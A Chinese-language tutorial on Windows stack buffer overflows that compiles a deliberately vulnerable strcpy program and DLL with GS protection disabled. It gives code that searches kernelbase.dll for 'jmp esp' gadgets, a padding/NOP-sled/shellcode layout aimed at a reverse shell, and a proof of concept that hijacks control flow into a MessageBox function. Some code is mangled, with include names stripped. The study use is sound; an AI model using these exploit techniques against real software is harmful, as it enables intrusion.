栈溢出是缓冲区溢出中最为常见的一种攻击手法,其原理是,程序在运行时栈地址是由操作系统来负责维护的,在我们调用函数时,程序会将当前函数的下一条指令的地址压入栈中,而函数执行完毕后,则会通过ret指令从栈地址中弹出压入的返回地址,并将返回地址重新装载到EIP指令指针寄存器中,从而继续运行,然而将这种控制程序执行流程的地址保存到栈中,必然会给栈溢出攻击带来可行性。
前面的笔记《缓冲区溢出与攻防博弈》中已经具体的介绍了缓冲区溢出的基本知识,也了解到了攻防双方技术的博弈过程,本次我们将来看几个简单的本地溢出案例,本次测试环境为Windows10系统+VS 2013编译器,该编译器默认开启GS保护,在下方的实验中需要手动将其关闭。
C语言中通常会提供给我们标准的函数库,这些标准函数如果使用不当则会造成意想不到的后果。
strcpy() vfscanf()strcat() vsprintf()sprintf() vscanf()scanf() vsscanf()sscanf() streadd()fscanf() strecpy()
针对EXE文件的溢出利用
以下案例就是利用了 strcpy()
函数的漏洞从而实现溢出的,程序运行后用户从命令行传入一个参数,该参数的大小是不固定的,传入参数后由内部的 geting()
函数接收,并通过strcpy()
函数将临时数据赋值到name
变量中,最后将其打印出来,很明显代码中并没有对用户输入的变量进行长度的限定。
#include#include void geting(char *temp){ char name[10]; strcpy(name, temp); printf("%s \n", name);}int main(int argc,char *argv[]){ geting(argv[1]); return 0;}
直接保存为overflow.c
然后执行 cl /Zi /GS- overflow.c
编译并生成可执行文件,参数中的/GS-
就是关闭当前的GS保护。
C:\Users\LyShark\Desktop>cl /Zi /GS- overflow.c用于 x86 的 Microsoft (R) C/C++ 优化编译器 18.00.21005.1overflow.cMicrosoft (R) Incremental Linker Version 12.00.21005.1Copyright (C) Microsoft Corporation. All rights reserved./out:overflow.exe/debugoverflow.obj
接着我们需要在命令行界面中运行来启动调试器,其中第一个参数 overflow.exe
就是我们的程序名,第二个参数是传入命令行参数,我们首先传入一个正常大小的字符串。
C:\OllyICE> OllyICE.exe overflow.exe hello
载入上面所编写的 exe 程序。由于我们需要从 main 函数开始分析,但是OD并没有在main函数处停下,而是停在了程序的初始化部分,如下图所示:
上方这些代码并不是我们写的而是编译器自动生成的,这里我们无需关心这些代码片段,我们只需要找到程序的OPE入口即可,通过观察获取,这里经过不断地分析找到了程序的OEP 0012A1050
,直接在此处下断点。
进一步分析后观察发现,下方代码就是我们程序中的 geting()
这个函数,溢出也正是发生在这里的,注意堆栈变化。
这里由于我们传递了正常的参数,所以没有溢出,下图可看出程序正常返回并没有覆盖ESP/EIP等指针。
重新运行程序,然后输入一个超长字符串,这里我就输入一串 lysharkAAAAAAAAABBBB
上方截图可知,程序的返回地址已被BBBB等字母霸占了,当程序执行ret指令返回时,程序会在堆栈中取出42424242并将该地址赋值给EIP指针,而42424242这个地址是错误的指令,所以程序会报错。
除此之外还需要查找系统中的跳板指令,这里的跳板是程序中原有的机器码,其包括如 jmp esp,call esp,jmp ecx等,我们需要利用这些跳板指令完成对堆栈地址的定位。
再次运行程序,然后输入一个正常字符串 lyshark
,用OD载入,执行到main函数最后的位置,即retn语句处,此时我们关注一下esp寄存器所保存的值:
上图可知,现在esp中保存的值是012A1067
,而在栈中这个地址对应的就是我们的返回地址,即我们下一条语句的位置。然后我们此时再按一下F8,单步执行,那么此时Geting()函数就会执行完毕:
我们还发现ESP指针的值会自动变成返回地址的下一个位置,而esp的这种变化,一般是不受任何情况影响的,因为堆栈的地址是动态变化的,所以我们才需要找到一个跳板函数来实现跳转到堆栈中布置好的ShellCode中去。
jmp esp 这条机器指令,在很多动态连接库中都存在,jmp esp的机器码是0xFFE4,我们可以编写一个程序,来在kernelbase.dll中查找是否存在jmp esp 指令,需要注意的是,这里必须查找程序中已经加载的动态链接库。
#include#include #include int main(){ BYTE *ptr; int position; HINSTANCE handle; BOOL done_flag = FALSE; handle = LoadLibrary("kernelbase.dll"); ptr = (BYTE*)handle; for (position = 0; !done_flag; position++) { try { if (ptr[position] == 0xFF && ptr[position + 1] == 0xE4) { int address = (int)ptr + position; printf("找到跳板指令:0x%x\n", address); } } catch (...) { int address = (int)ptr + position; printf("结束指针位置:0x%x\n", address); done_flag = true; } } getchar(); return 0;}
上方代码运行后,会得到一个跳板地址 0x76c2fb75
如下,当然其他的模块中可能存在更多的跳板指令。
我们手动将堆栈中的 424242 替换为 0x76c2fb75 注意该地址应该反写,如下所示:
当程序运行时,首先会ret返回,而程序返回会在堆栈中将 0x76c2fb75 这个内存地址回写到 EIP中,然后会执行第一次跳转,其跳转到 kernelbase.dll 中的 jmp esp 中。
观察发现,esp指针的地址是 013DFBE8
,也就将当前程序的控制流指向了堆栈中,我们只需要在堆栈中布置好合理的ShellCode就可以执行任意代码。
至此该程序就分析完毕了,经过分析我们的ShellCode代码应该这样构建,其形式是:AAAAAAAAAAAAAAAA BBBB NNNNNNN ShellCode
这里的A 代表的是正常输出内容,其作用是正好不多不少的填充满这个缓冲区。
这里的B 代表的是 jmp esp 的机器指令,该处应该为 0x76c2fb75 。 这里的N 代表Nop雪橇的填充,一般的 20 个Nop左右就好。 这里 ShellCode 就是我们要执行的恶意代码啦。
输入方式应该是,当程序运行后会先跳转到 jmp esp 并执行该指令,然后jmp esp 会跳转到 nop雪橇的位置,程序的执行流会顺着nop雪橇滑向ShellCode代码,从而实现反弹Shell。
D:\OllyICE> OllyICE.exe overflow.exe Ax16 + jmp esp + nop x 20 + ShellCode
针对Dll文件的溢出利用
很多时候我们要分析的目标不是一个EXE可执行文件,而是一个DLL文件,这样的例子很多,比如Windows系统中有很多系统模块都是DLL文件,这些文件如果出现漏洞该如何利用呢?接下来我们将来研究针对DLL文件的利用方法,最后编写利用代码实现DLL文件的利用。
1.首先我们先来创建一个 ntdll.cpp
的可执行文件,其中有两个函数,一个是弹窗提示,而另一个则是字符串的拷贝函数,编译这个DLL文件。
#include#include #pragma comment(lib,"User32.lib")bool APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid){ return true;}extern "C"__declspec(dllexport) void ntMsgBox(){ ::MessageBox(NULL,TEXT("hello lyshark"),TEXT("MsgBox"),MB_OK);}extern "C"__declspec(dllexport) void ntCheck(char *Code){ char name[10]; strcpy(name,Code); printf("Buffer Is: %s",Code);}C:\Users\> cl /c /GS- /EHsc ntdll.cppC:\Users\> link /dll ntdll.obj
接着我们通过缓冲区溢出漏洞,实现调用 ntCheck
函数是,让其弹出 MsgBox
提示框,通过OD分析找到MsgBox地址是 0x5BAB1090
接着编写利用代码如下:
#include#include #include typedef void(*MyPROC)(char *);int main(){ HINSTANCE libHandle; MyPROC Func; char DllName[] = "./ntdll.dll"; libHandle = LoadLibrary(DllName); Func = (MyPROC)GetProcAddress(libHandle, "ntCheck"); char Str[0x4096]; char source[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41" // 填充满缓冲区 "\x90\x10\xab\x5b" // 跳转到MsgBox memcpy(Str,source,sizeof(source)); (Func)(Str); FreeLibrary(libHandle); return 0;}
随着编译器厂商和操作系统厂商的各种新技术的出现,这些传统的缓冲区溢出的利用已经变得非常困难了,所以以上笔记只能作为原理方面的研究,并没有实际价值。